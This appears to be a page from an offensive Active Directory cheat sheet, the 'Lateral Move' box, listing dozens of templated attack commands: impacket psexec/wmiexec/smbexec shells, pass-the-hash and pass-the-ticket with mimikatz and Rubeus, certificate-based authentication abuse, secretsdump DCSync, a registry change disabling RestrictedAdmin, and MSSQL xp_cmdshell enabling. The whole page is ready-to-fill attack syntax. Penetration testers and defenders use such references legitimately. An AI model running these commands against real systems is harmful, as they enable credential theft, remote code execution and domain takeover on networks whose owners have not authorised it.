← boxes

Lateral Move box 14 / 17

Lateral Move

64 cmds

Admin

  • Interactive-shell - psexecAuthority/System
    • psexec.py psexec.py <domain>/<user>:<password>@<ip>
    • psexec.exe psexec.exe -AcceptEULA \\<ip>
    • psexecsvc.py psexecsvc.py <domain>/<user>:<password>@<ip>
  • Pseudo-shell (file write and read)
    • atexec.py atexec.py <domain>/<user>:<password>@<ip> "command"
    • smbexec.py smbexec.py <domain>/<user>:<password>@<ip>
    • wmiexec.py wmiexec.py <domain>/<user>:<password>@<ip>
    • dcomexec.py dcomexec.py <domain>/<user>:<password>@<ip>
    • nxc nxc smb <ip_range> -u <user> -p <password> -d <domain> -x <cmd>
    • evil-winrm evil-winrm -i <ip> -u <user> -p <password>
    • Enter-PSSession Enter-PSSession -ComputerName <computer> -Credential <domain>\<user>
    • nxc nxc winrm <ip_range> -u <user> -p <password> -d <domain> -x <cmd>
    • xfreerdp xfreerdp /u:<user> /d:<domain> /p:<password> /v:<ip>
  • SMBSearch files
    • smbclient.py smbclient.py <domain>/<user>:<password>@<ip>
    • smbclient-ng.py smbclient-ng.py -d <domain> -u <user> -p <password> --host <ip>
  • MSSQLMSSQL
    • nxc nxc mssql <ip_range> -u <user> -p <password>
    • mssqlclient.py mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>

  • Pass the Hash
    • MSSQL/PseudoShell PsExec/SMB...Admin
      • impacket impacket : same as with creds, but use -hashes ':<hash>'
      • nxc nxc : same as with creds, but use -H ':<hash>'
    • mimikatz mimikatz "privilege::debug sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash>"Admin
      • reg.py reg.py <domain>/<user>@<ip> -hashes ':<hash>' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
        • xfreerdp xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>
      • evil-winrm evil-winrm -i <ip> -u <user> -H <hash>
  • Overpass the Hash / Pass the key (PTK)Admin
    • Rubeus.exe Rubeus.exe asktgt /user:victim /rc4:<rc4value>
      • Rubeus.exe Rubeus.exe ptt /ticket:<ticket>
      • Rubeus.exe Rubeus.exe createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
    • getTGT.py getTGT.py <domain>/<user> -hashes :<hashes>

  • Pass the Ticket (ccache / kirbi)
    • Convert Format
      • ticketConverter.py ticketConverter.py <kirbi||ccache> <ccache||kirbi>
    • export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccacheAdmin
      • impacket impacket tools: Same as Pass the hash but use : -k and -no-pass for impacket
    • mimikatz mimikatz kerberos::ptc "<ticket>"
    • Rubeus.exe Rubeus.exe ptt /ticket:<ticket>
    • secretsdump.py proxychains secretsdump.py -k'<domain>'/'<user>'@'<ip>'
    • Modify SPNPassTheTicket
      • tgssub.py tgssub.py -in <ticket.ccache> -out <newticket.ccache> -altservice "<service>/<target>" #pr 1256
  • AeskeyAdmin
    • impacket impacket tools: Same as Pass the hash but use : -aesKey for impacket (and use FQDN)
    • secretsdump.py proxychains secretsdump.py -aesKey <key> '<domain>'/'<user>'@'<ip>'

  • lookupsid.py proxychains lookupsid.py <domain>/<user>@<ip> -no-pass -domain-sids
  • mssqlclient.py proxychains mssqlclient.py -windows-auth <domain>/<user>@<ip> -no-passMSSQL
  • secretsdump.py proxychains secretsdump.py -no-pass '<domain>'/'<user>'@'<ip>'DCSYNC
  • smbclient.py proxychains smbclient.py -no-pass <user>@<ip>Search files
  • atexec.py proxychains atexec.py -no-pass <domain>/<user>@<ip> "command"Authority/System
  • smbexec.py proxychains smbexec.py -no-pass <domain>/<user>@<ip>Authority/System

  • unpac the hash
    • certipy certipy auth -pfx <crt_file> -dc-ip <dc_ip>
    • gettgtpkinit.py gettgtpkinit.py -cert-pfx <crt.pfx> -pfx-pass <crt_pass> "<domain>/<dc_name>" <tgt.ccache>
      • getnthash.py getnthash.py -key '<AS-REP encryption key>' '<domain>'/'<dc_name>'
  • Pass the certificate
    • pkinit
      • gettgtpkinit.py gettgtpkinit.py -cert-pfx "<pfx_file>" ^[-pfx-pass "<cert-password>"] "<fqdn_domain>/<user>" "<tgt_ccache_file>"
      • Rubeus.exe Rubeus.exe asktgt /user:"<username>" /certificate:"<pfx_file>" [/password:"<certificate_password>"] /domain:"<fqdn-domain>" /dc:"<dc>" /show
      • certipy certipy auth -pfx <crt_file> -dc-ip <dc_ip>
    • schannel
      • certipy certipy auth -pfx <pfx_file> -ldap-shell
        • add_computer
      • certipy certipy cert -pfx "<pfx_file>" -nokey -out "user.crt"
        • certipy certipy cert -pfx "<pfx_file>" -nocert -out "user.key"
          • passthecert.py passthecert.py -action ldap-shell -crt <user.crt> -key <user.key> -domain <domain> -dc-ip <dc_ip>

  • find mssql access
    • nxc nxc mssql <ip> -u <user> -p <password> -d <domain>MSSQL
  • Users or Computers with SQL admin
  • MATCH MATCH p=(u:Base)-[:SQLAdmin]->(c:Computer) RETURN pMSSQL
  • mssqlclient.py mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>
    • enum_db
    • enable_xp_cmdshell
    • enum_impersonate
      • exec_as_user <user>MSSQL
      • exec_as_login <login>MSSQL
    • xp_dir_tree <ip>COERCE SMB
    • trustlink